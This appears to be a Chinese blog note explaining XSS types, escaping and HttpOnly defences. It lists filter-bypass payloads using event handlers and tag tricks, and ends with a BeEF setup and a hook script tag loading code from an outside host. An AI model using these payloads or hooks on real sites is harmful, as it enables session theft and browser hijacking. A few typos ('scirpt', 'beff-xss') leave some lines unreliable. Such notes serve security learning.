0%

xss笔记

有关XSS的笔记。

什么是XSS

XSS又称Cross-site scripting(跨站脚本攻击。它是一种注入类型,可以使攻击者执行恶意脚本并使其在受害者计算机上执行。如果Web应用程序未经过滤的使用用户的输入那么就很容易受到XSS的攻击。XSS可以在Javascript,VBScript,Flash和CSS中使用。XSS分为两类。

  • 存储型(持久型
  • 反射型(非持久型

三种类型的区别

XSS攻击的是客户端。漏洞特点在于:服务端原封不动返回数据,在客户端执行,这个特点作为探测的参考
基本探测语句。

1
2
3
<scirpt>alert(1)</scirpt>警告框
<scirpt>prompt(1)</scirpt>提示框
<scirpt>confirm(1)</scirpt>确认框

html注入代码

1
<a href="www.baidu.com">click</a>

漏洞危害:

  • Cookie盗取
  • 键盘记录
  • 摄像头拍照
  • 钓鱼
  • 端口扫描
  • 网站重定向
  • 后台增删改文章
  • 获取用户信息(浏览器信息,ip地址
  • 更多…

xss漏洞流程

  1. 对用户提交的数据过滤不严格
  2. 提交给服务器的脚本被原封不动的返回给客户端执行
  3. 脚本在客户端执行恶意操作

攻击者构造一个恶意链接发给受害者,恶意代码没有保存在目标网站,而web应用程序原封不动的把恶意脚本返回给受害者的浏览器,受害者的浏览器就会本地解析恶意代码,从而达成攻击效果

攻击者发现网站有漏洞,把恶意代码存储在服务器上一个页面上(如发帖,等。当普通用户访问服务器的这个页面后,就会触发。
流程

存储型XSS

存储型的XSS脚本是XSS的最危险类型,这是因为恶意脚本被存储在网站的数据库中。 当网站允许用户的输入插入到数据库时​​,又不过滤用户的输入时就会发送存储型xss攻击。如果攻击者发现网站某个输入页面有XSS漏洞,那么攻击者可以把恶意代码存储在服务器上一个页面上(如发帖,等。当普通用户访问服务器的这个页面后,就会触发。这就是存储型XSS攻击。

反射型XSS

攻击者构造一个恶意链接发给受害者,恶意代码没有保存在目标网站,而web应用程序原封不动的把恶意脚本返回给受害者的浏览器,受害者的浏览器就会本地解析恶意代码,从而达成攻击效果。

DOM型XSS

Dom型XSS其实是一种特殊的反射型XSS攻击。它和反射型的区别在于DOM型XSS并不会和后台进行交互,是完完全全的Web前端安全问题,要做防御也只能在客户端上进行防御。

防御方式

转义用户的输入

  1. 正则表达式过滤

  2. (使用htmlspecialchars()函数,转义html字符(实体编码,只取样子)

实体化在前端展示的时候,会正常显示<>等字符的样子。但是在源代码中不会解析为标签,会被转为实体化编码,只表示为他原来的样子。

例如:前端显示<,但是在浏览器查看源代码的时候会展示成&lt的实体编码的样子。

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php
$str = "The is aaa <b>BOLD</b>";
echo $str;
?>
</body>
</html>

不使用htmlspecialchars()的话就会把BOLD这个单词加粗。因为是<b>标签被识别成了html标签。所以正常输出。

页面效果

让我们看看源码,和我们想的是一样的。

但是如果使用htmlspecialchars()函数的话就会变成这个样子。

所以我们可以看到,如果使用了htmlspecialchars()就不会把<b>标签识别为html标签去解析他,而是正常的去把他原样输出。(你所看到的原样并不是真正的原样。

如果我们再去看它的源代码的话,会发现<b>符号被转成了html的实体编码&lt;b&gt所以这其实不是原样输出。只是你看到的是原样,实际不是。
sd

在进行xss攻击的时候,我们更想看到的是第一种效果。标签被识别,能被后端解析。

验证用户的输入

在用户将他的输入内容,存储在后端前,对用户的输入进行验证。验证输入首先不允许提交某些字符。

httponly防止盗取cookie

php版本5.2以上可以打开httponly的选项将session.cookie_httponly 设置为1或True.防止用户cookie盗取。

绕过思路

大小写混合

1
<scRIpt>alert(1)</script>

双写绕过

1
2
<scr<script>ipt>alert(1)</scr<script>ipt>
<img src=x onerror=alert(1)>

其他标签绕过

1
2
3
4
<img src=x onerror=alert(1)>

<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

iframe

1
2
<iframe src="javascript:alert(2)">
<iframe onload=alert(1)>

a标签

1
2
<a href="javascript:onclick=alert()">tets</a>
<a href="javascript:alert()">test</a>

利用事件绕过

1
2
3
4
5
<svg onload=alert(1)>
<body onload=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">

圆括号被过滤

1
2
<a onmouseover="javascript:window.onerror=alert;throw 1">
<imgsrc=x onerror="javascript:window.onerror=alert;throw 1">

其他的XSS攻击模块

BeeF

Kali 2020已经没有预装了,需要手动安装。

1
sudo apt install beff-xss

http://*****:3000/ui/panel
默认用户名beef和密码beef

脚本地址:

1
<script src=http://*****:3000/hook.js></script>

在线xss攻击平台

XSS-Payloads

参考